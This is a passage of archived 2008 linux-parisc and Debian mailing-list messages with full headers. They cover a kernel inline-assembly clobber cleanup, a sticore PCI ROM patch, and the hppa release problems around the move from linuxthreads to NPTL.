#define FIXUP_BRANCH_CLOBBER "r1"

I think so what is following is just a cleanup which wouldn't affect the generated code, even thought:
--- ./a/arch/parisc/kernel/unaligned.c	2008-05-17 16:44:35.000000000 +0000
+++ ./b/arch/parisc/kernel/unaligned.c	2008-06-07 21:30:56.000000000 +0000
@@ -350,7 +350,7 @@
  	ASM_EXCEPTIONTABLE_ENTRY(2b,4b)
  	: "=r" (ret)
  	: "r" (val), "r" (regs->ior), "r" (regs->isr)
-	: "r19", "r20", "r21", "r22", "r1", FIXUP_BRANCH_CLOBBER );
+	: "r19", "r20", "r21", "r22", FIXUP_BRANCH_CLOBBER );

  	return 0;
  }
@@ -402,7 +402,7 @@
  	ASM_EXCEPTIONTABLE_ENTRY(4b,6b)
  	: "=r" (ret)
  	: "r" (val), "r" (regs->ior), "r" (regs->isr)
-	: "r19", "r20", "r21", "r22", "r1", FIXUP_BRANCH_CLOBBER );
+	: "r19", "r20", "r21", "r22", FIXUP_BRANCH_CLOBBER );
  #else
      {
  	unsigned long valh=(val>>32),vall=(val&0xffffffffl);
@@ -437,7 +437,7 @@
  	ASM_EXCEPTIONTABLE_ENTRY(5b,7b)
  	: "=r" (ret)
  	: "r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)
-	: "r19", "r20", "r21", "r1", FIXUP_BRANCH_CLOBBER );
+	: "r19", "r20", "r21", FIXUP_BRANCH_CLOBBER );
      }
  #endif

=== <> ===

What's your opinion?

Cheers,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Sun, 08 Jun 2008 18:24:29 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <484C07BD.8090308@gmx.de>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>	 <1212704814.4241.37.camel@localhost.localdomain>	 <20080606223507.0daf2b80.krzysztof.h1@poczta.fm> <1212794861.16182.39.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212942283 17879 80.91.229.12 (8 Jun 2008 16:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Jun 2008 16:24:43 +0000 (UTC)
Cc: Krzysztof Helt <krzysztof.h1@poczta.fm>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 08 18:25:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K5Nhn-0000P6-Ew
	for glpp-linux-parisc@gmane.org; Sun, 08 Jun 2008 18:25:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755078AbYFHQYa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Jun 2008 12:24:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755538AbYFHQYa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Jun 2008 12:24:30 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:44588 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755078AbYFHQY3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Jun 2008 12:24:29 -0400
Original-Received: (qmail invoked by alias); 08 Jun 2008 16:24:27 -0000
Original-Received: from mnhm-590e0e4b.pool.einsundeins.de (EHLO halden.box) [89.14.14.75]
  by mail.gmx.net (mp062) with SMTP; 08 Jun 2008 18:24:27 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/BHMgFFvPB4JUkOqj0syvLDymG8jz7gZGlNIQxvW
	22jX7nZnKz2mPL
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <1212794861.16182.39.camel@localhost.localdomain>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:386
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/386>

James Bottomley wrote:
> On Fri, 2008-06-06 at 22:35 +0200, Krzysztof Helt wrote:
>> On Thu, 05 Jun 2008 17:26:54 -0500
>> James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
>>
>>> I'm really not sure this is such a good idea.  pci_map_rom() can do an
>>> ioremap() on the region.  In that case, gsc_readl which punches through
>>> our virtual memory into physical I/O space will fail.  What assurance do
>>> we have that all STI roms are correctly set up so pci_map_rom() isn't
>>> inclined to ioremap them?
>>>
>> I haven't thought about this. The ROM the Helge tested was obviously
>> set up correctly, otherwise reading the ROM signature would be impossible.
> 
> I suspect Helge only tested GSC based cards, which will work just fine
> because they use the old logic.

No, tested on Tadpole Laptop (7100LC) and c3k with VisEG PCI.
But it's OK that the patch was dropped...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: hppa release status
Date: Tue, 10 Jun 2008 23:44:55 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <484EF5D7.5000209@gmx.de>
References: <20080608194617.GT10194@mails.so.argh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213134318 8248 80.91.229.12 (10 Jun 2008 21:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Jun 2008 21:45:18 +0000 (UTC)
To: Andreas Barth <aba@not.so.argh.org>, debian-hppa@lists.debian.org,
	debian-release@lists.debian.org, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 10 23:46:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K6BfE-00024H-9G
	for glpp-linux-parisc@gmane.org; Tue, 10 Jun 2008 23:46:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757315AbYFJVpG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Jun 2008 17:45:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757335AbYFJVpF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Jun 2008 17:45:05 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:41323 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753015AbYFJVo7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Jun 2008 17:44:59 -0400
Original-Received: (qmail invoked by alias); 10 Jun 2008 21:44:57 -0000
Original-Received: from mnhm-590f50b9.pool.einsundeins.de (EHLO halden.box) [89.15.80.185]
  by mail.gmx.net (mp046) with SMTP; 10 Jun 2008 23:44:57 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19Y1sV1TFZYTnAMwTAXUTUgLcOZWTBibCJ3TXfmF1
	SU8B+/8Pqs9Y8F
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080608194617.GT10194@mails.so.argh.org>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:387 gmane.linux.debian.ports.hppa:5305 gmane.linux.debian.devel.release:21090
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/387>

CC'ed: parisc-linux kernel development list

Andreas Barth wrote:
> during the upload of python2.5, the build failed on hppa due to stalls
> in the test suite, see http://bugs.debian.org/483042 and
> http://buildd.debian.org/fetch.cgi?&pkg=python2.5&ver=2.5.2-5&arch=hppa&stamp=1211583145&file=log
> (Matthias "fixed" that bug by disabling the testsuite, not something that makes
> us happy.)
> 
> After that happened, we asked on #parisc if someone could take a look,
> and we were told that linuxthreads is currently unmaintained for hppa,
> and the issue could only be fixed by moving to nptl and we need to do an
> (incompatible) abi change in glibc. Such a change would be really
> unfortunate, and we hope that every other roads have been evaluated
> first (like trying to understand why python on linuxthreads fails on
> hppa but not on e.g. kfreebsd). We also would like to be sure that ntpl
> is really better than linuxthreads for python2.5 before a transition.

My personal feeling is, that a switch to NPTL is probably the best 
solution. Even if this involves a abi change.
Maybe experts on NPTL could comment here?

> In addition to the python2.5 issue, there are two other issues that are
> quite concerning:
>   * a problem with ruby1.9 which likely is kernel related #478717.

Hmm..

>   * dirmngr that segfaults, likely because of some signalstack issues
>     #459567.

Yes, we need to implement makecontext()/getcontext() in glibc.

> We've seen no porter activity on those bugs yet.

I'd volunteer to try on thedirmngr/makecontext() issue. (At least as far 
as my time permits).

> On further discussing that within the release team, we noticed that the
> Qualification page on http://wiki.debian.org/hppaLennyReleaseRecertification
> is not really complete, e.g. it says:
> | The installer is being maintained by ... and it's currently working
> | effectively. Successful installation reports are available at: ...
> 
> It would really be great (read: it is necessary) that the Qualification
> Page is filled with the missing information, and that we actually have
> enough porters for hppa.

I've added myself there in a few items.
I'd be willing to look into issues with the installer, but not being a 
active debian developer I'd need help from a debian guy if necessary.

> So, with respect to the python2.5 issue, what now?
> 
> 
> At the technical side, best of course would be if linuxthreads would
> continue to work at least enough for lenny, this was the case for a few
> years already, it should be able to survive a few months more, and
> python2.5 can build with the test-suite on hppa.  Of course not breaking
> the API during a linuxthreads -> NPTL switch would be even better.

I can't comment on that.

> If really you see no other option than switching to NPTL, even at the
> current unfortunate moment, the only way how this could be done in a
> timely fashion would be to exempt hppa from the list of architectures
> our testing migration scripts look at for updateness and non-breakness.
> Then upload glibc ASAP, and schedule an archive-wide binNMU campaign.
> 
> Of course, this demands enough buildd power, and wanna-build access by
> (some of) the porters (or whatever else you consider appropriate).
> Moreover it needs quite a lot of time to track that closely, which the
> Release Team probably won't have on its own, so we will need hppa
> buildd-admin and hppa porters time, a lot.
> 
> After the transition is done (and we can only hope it is in time for
> lenny), hppa could be added back to the normal architectures. Downside
> of this is of course that in case hppa is slower than lenny, lenny would
> be released without hppa.

which would be sad...


> Of course, we also need plans for the ruby and dirmngr issues.

Yes.

> So, after that long mail, what's your take on this? How do we continue?

Any other comments?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: hppa release status
Date: Tue, 10 Jun 2008 16:19:58 -0600
Lines: 105
Approved: news@gmane.org
Message-ID: <20080610221958.GE16265@colo.lackof.org>
References: <20080608194617.GT10194@mails.so.argh.org> <484EF5D7.5000209@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213136439 14774 80.91.229.12 (10 Jun 2008 22:20:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Jun 2008 22:20:39 +0000 (UTC)
Cc: Andreas Barth <aba@not.so.argh.org>, debian-hppa@lists.debian.org,
	debian-release@lists.debian.org, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 11 00:21:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K6CDO-0006VH-F1
	for glpp-linux-parisc@gmane.org; Wed, 11 Jun 2008 00:21:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760131AbYFJWUO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Jun 2008 18:20:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759927AbYFJWUO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Jun 2008 18:20:14 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:34502 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760113AbYFJWUK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Jun 2008 18:20:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 334F16F802C;
	Tue, 10 Jun 2008 16:20:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14625-09; Tue, 10 Jun 2008 16:19:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id B7A1E6F8029; Tue, 10 Jun 2008 16:19:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <484EF5D7.5000209@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:388 gmane.linux.debian.ports.hppa:5306 gmane.linux.debian.devel.release:21092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/388>

On Tue, Jun 10, 2008 at 11:44:55PM +0200, Helge Deller wrote:
> CC'ed: parisc-linux kernel development list
>
> Andreas Barth wrote:
>> during the upload of python2.5, the build failed on hppa due to stalls
>> in the test suite, see http://bugs.debian.org/483042 and
>> http://buildd.debian.org/fetch.cgi?&pkg=python2.5&ver=2.5.2-5&arch=hppa&stamp=1211583145&file=log
>> (Matthias "fixed" that bug by disabling the testsuite, not something that 
>> makes
>> us happy.)
>> After that happened, we asked on #parisc if someone could take a look,
>> and we were told that linuxthreads is currently unmaintained for hppa,
>> and the issue could only be fixed by moving to nptl and we need to do an
>> (incompatible) abi change in glibc. Such a change would be really
>> unfortunate, and we hope that every other roads have been evaluated
>> first (like trying to understand why python on linuxthreads fails on
>> hppa but not on e.g. kfreebsd). We also would like to be sure that ntpl
>> is really better than linuxthreads for python2.5 before a transition.
>
> My personal feeling is, that a switch to NPTL is probably the best 
> solution. Even if this involves a abi change.
> Maybe experts on NPTL could comment here?
>
>> In addition to the python2.5 issue, there are two other issues that are
>> quite concerning:
>>   * a problem with ruby1.9 which likely is kernel related #478717.
>
> Hmm..
>
>>   * dirmngr that segfaults, likely because of some signalstack issues
>>     #459567.
>
> Yes, we need to implement makecontext()/getcontext() in glibc.
>
>> We've seen no porter activity on those bugs yet.
>
> I'd volunteer to try on thedirmngr/makecontext() issue. (At least as far as 
> my time permits).
>
>> On further discussing that within the release team, we noticed that the
>> Qualification page on 
>> http://wiki.debian.org/hppaLennyReleaseRecertification
>> is not really complete, e.g. it says:
>> | The installer is being maintained by ... and it's currently working
>> | effectively. Successful installation reports are available at: ...
>> It would really be great (read: it is necessary) that the Qualification
>> Page is filled with the missing information, and that we actually have
>> enough porters for hppa.
>
> I've added myself there in a few items.
> I'd be willing to look into issues with the installer, but not being a 
> active debian developer I'd need help from a debian guy if necessary.

hey Helge,
 Feel free to contact me if you need something done that requires DD
privs.

>> So, with respect to the python2.5 issue, what now?
>> At the technical side, best of course would be if linuxthreads would
>> continue to work at least enough for lenny, this was the case for a few
>> years already, it should be able to survive a few months more, and
>> python2.5 can build with the test-suite on hppa.  Of course not breaking
>> the API during a linuxthreads -> NPTL switch would be even better.
>
> I can't comment on that.
>
>> If really you see no other option than switching to NPTL, even at the
>> current unfortunate moment, the only way how this could be done in a
>> timely fashion would be to exempt hppa from the list of architectures
>> our testing migration scripts look at for updateness and non-breakness.
>> Then upload glibc ASAP, and schedule an archive-wide binNMU campaign.
>> Of course, this demands enough buildd power, and wanna-build access by
>> (some of) the porters (or whatever else you consider appropriate).
>> Moreover it needs quite a lot of time to track that closely, which the
>> Release Team probably won't have on its own, so we will need hppa
>> buildd-admin and hppa porters time, a lot.
>> After the transition is done (and we can only hope it is in time for
>> lenny), hppa could be added back to the normal architectures. Downside
>> of this is of course that in case hppa is slower than lenny, lenny would
>> be released without hppa.
>
> which would be sad...
>
>
>> Of course, we also need plans for the ruby and dirmngr issues.
>
> Yes.
>
>> So, after that long mail, what's your take on this? How do we continue?
>
> Any other comments?
>
> Helge
>
>
>

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pierre Habouzit <madcoder@debian.org>
Newsgroups: gmane.linux.debian.devel.release,gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: hppa release status
Date: Wed, 11 Jun 2008 09:55:05 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <20080611075505.GD28629@artemis.madism.org>
References: <20080608194617.GT10194@mails.so.argh.org> <484EF5D7.5000209@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="rz+pwK2yUstbofK6";
	protocol="application/pgp-signature"; micalg=SHA1
X-Trace: ger.gmane.org 1213170930 29843 80.91.229.12 (11 Jun 2008 07:55:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Jun 2008 07:55:30 +0000 (UTC)
Cc: Andreas Barth <aba@not.so.argh.org>, debian-hppa@lists.debian.org,
	debian-release@lists.debian.org, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-release=debian-release=m.gmane.org@lists.debian.org Wed Jun 11 09:56:11 2008
Return-path: <bounce-debian-release=debian-release=m.gmane.org@lists.debian.org>
Envelope-to: debian-release@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K6LBg-0002fH-TA
	for debian-release@m.gmane.org; Wed, 11 Jun 2008 09:56:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 4899E13A51C8; Wed, 11 Jun 2008 07:55:19 +0000 (UTC)
Old-Return-Path: <madcoder@debian.org>
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.8 required=4.0 tests=BAYES_00,FOURLA,LDO_WHITELIST,
	RDNS_DYNAMIC autolearn=ham version=3.2.3
X-Original-To: lists-debian-release@liszt.debian.org
Delivered-To: lists-debian-release@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id C578913A51C3
	for <lists-debian-release@liszt.debian.org>; Wed, 11 Jun 2008 07:55:12 +0000 (UTC)
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 03834-92 for <lists-debian-release@liszt.debian.org>;
	Wed, 11 Jun 2008 07:55:10 +0000 (UTC)
Original-Received: from hermes.madism.org (pan.madism.org [IPv6:2002:58bf:3468::1])
	by liszt.debian.org (Postfix) with ESMTP id 0AF7A13A4894;
	Wed, 11 Jun 2008 07:55:10 +0000 (UTC)
Original-Received: from madism.org (APuteaux-103-1-3-109.w217-128.abo.wanadoo.fr [217.128.49.109])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "artemis.madism.org", Issuer "madism.org" (verified OK))
	by hermes.madism.org (Postfix) with ESMTPS id 758DF3501A;
	Wed, 11 Jun 2008 09:55:06 +0200 (CEST)
Original-Received: by madism.org (Postfix, from userid 1000)
	id 4E8EB4F5C32; Wed, 11 Jun 2008 09:55:05 +0200 (CEST)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	Andreas Barth <aba@not.so.argh.org>, debian-hppa@lists.debian.org,
	debian-release@lists.debian.org, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <484EF5D7.5000209@gmx.de>
X-Face: $(^e[V4D-[`f2EmMGz@fgWK!e.B~2g.{08lKPU(nc1J~z\4B>*JEVq:E]7G-\6$Ycr4<;Z!|VY6Grt]+RsS$IMV)f>2)M="tY:ZPcU;&%it2D81X^kNya0=L]"vZmLP+UmKhgq+u*\.dJ8G!N&=EvlD
User-Agent: Madmutt/devel (Linux)
X-Virus-Scanned: at lists.debian.org with policy bank en-ht
X-Amavis-Spam-Status: No, score=-1.8 tagged_above=3.6 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, RDNS_DYNAMIC=0.1]
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2007-10-04_01
Resent-Message-ID: <pgbO78F40PB.A.lkB.nT4TIB@liszt>
Resent-From: debian-release@lists.debian.org
X-Mailing-List: <debian-release@lists.debian.org> archive/latest/22320
X-Loop: debian-release@lists.debian.org
List-Id: <debian-release.lists.debian.org>
List-Post: <mailto:debian-release@lists.debian.org>
List-Help: <mailto:debian-release-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-release-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-release-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-release-request@lists.debian.org
Resent-Date: Wed, 11 Jun 2008 07:55:19 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.devel.release:21095 gmane.linux.debian.ports.hppa:5310 gmane.linux.ports.parisc:389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/389>


--rz+pwK2yUstbofK6
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 10, 2008 at 09:44:55PM +0000, Helge Deller wrote:
> CC'ed: parisc-linux kernel development list
>=20
> Andreas Barth wrote:
> >during the upload of python2.5, the build failed on hppa due to stalls
> >in the test suite, see http://bugs.debian.org/483042 and
> >http://buildd.debian.org/fetch.cgi?&pkg=3Dpython2.5&ver=3D2.5.2-5&arch=
=3Dhppa&stamp=3D1211583145&file=3Dlog
> >(Matthias "fixed" that bug by disabling the testsuite, not something=20
> >that makes
> >us happy.)
> >After that happened, we asked on #parisc if someone could take a look,
> >and we were told that linuxthreads is currently unmaintained for hppa,
> >and the issue could only be fixed by moving to nptl and we need to do an
> >(incompatible) abi change in glibc. Such a change would be really
> >unfortunate, and we hope that every other roads have been evaluated
> >first (like trying to understand why python on linuxthreads fails on
> >hppa but not on e.g. kfreebsd). We also would like to be sure that ntpl
> >is really better than linuxthreads for python2.5 before a transition.
>=20
> My personal feeling is, that a switch to NPTL is probably the best
> solution. Even if this involves a abi change.
> Maybe experts on NPTL could comment here?

  The NPTL in glibc works well afaict, the downside is the ABI bump,
because doing the archive-wide rebuild as a 66% chance to hurt the port
so bad that it will not be ready in time for lenny. This is a last
resort measure, and everything _must_ be tried before, because even
"losing" a week trying to fix linuxthreads is way faster than rebuilding
the whole archive which is rather a matter of months and risking no HPPA
at all in the end.

--=20
=C2=B7O=C2=B7  Pierre Habouzit
=C2=B7=C2=B7O                                                madcoder@debia=
n.org
OOO                                                http://www.madism.org

--rz+pwK2yUstbofK6
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEABECAAYFAkhPhNkACgkQvGr7W6Hudhya3wCggJvmwUEqd5fQ7onOM9M+CmeU
jLIAn27NnHlR0eEgKk3fl/TvmLyp627x
=uRgc
-----END PGP SIGNATURE-----

--rz+pwK2yUstbofK6--



From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: hppa release status
Date: Thu, 12 Jun 2008 10:39:07 -0500
Lines: 102
Approved: news@gmane.org
Message-ID: <1213285147.3426.23.camel@localhost.localdomain>
References: <20080608194617.GT10194@mails.so.argh.org>
	 <484EF5D7.5000209@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213285258 19127 80.91.229.12 (12 Jun 2008 15:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Jun 2008 15:40:58 +0000 (UTC)
Cc: Andreas Barth <aba@not.so.argh.org>, debian-hppa@lists.debian.org,
	debian-release@lists.debian.org, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 12 17:41:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K6ovk-0000K6-9I
	for glpp-linux-parisc@gmane.org; Thu, 12 Jun 2008 17:41:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752933AbYFLPku (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Jun 2008 11:40:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752920AbYFLPku
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 12 Jun 2008 11:40:50 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:55948 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751404AbYFLPks (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Jun 2008 11:40:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 084CF83B8;
	Thu, 12 Jun 2008 10:40:45 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1213285246; bh=4Si9NuCO+sxyEKiaGd7AYFCRsY+cb+UfbG1XJVg3oJ
	s=; l=4415; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=Inz2CcMZcsDhQmVfbj7GsuJI7n8DIq+5vYagk
	w7MvsBb0thed1oi5EjDFQI/N9bfkjZePbtMeAIOqGp4E27cs1KVzCRn6LfM5m8yb5kh
	f6vt7oieTs/G/2CsiZI4NRknBZmyH2RNDyrygGio1MwJlJzWHeQGqCJ+nZXkqkbA+p8
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id cQ4SeLA-UVQp; Thu, 12 Jun 2008 10:40:44 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id E602A836C;
	Thu, 12 Jun 2008 10:40:43 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1213285244; bh=4Si9NuCO+sxyEKiaGd7AYFCRsY+cb+UfbG1XJVg3oJ
	s=; l=4415; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=sKIiufIfyBWw0pMK0Ltpu63aTyyw5Z7xgU8Bu
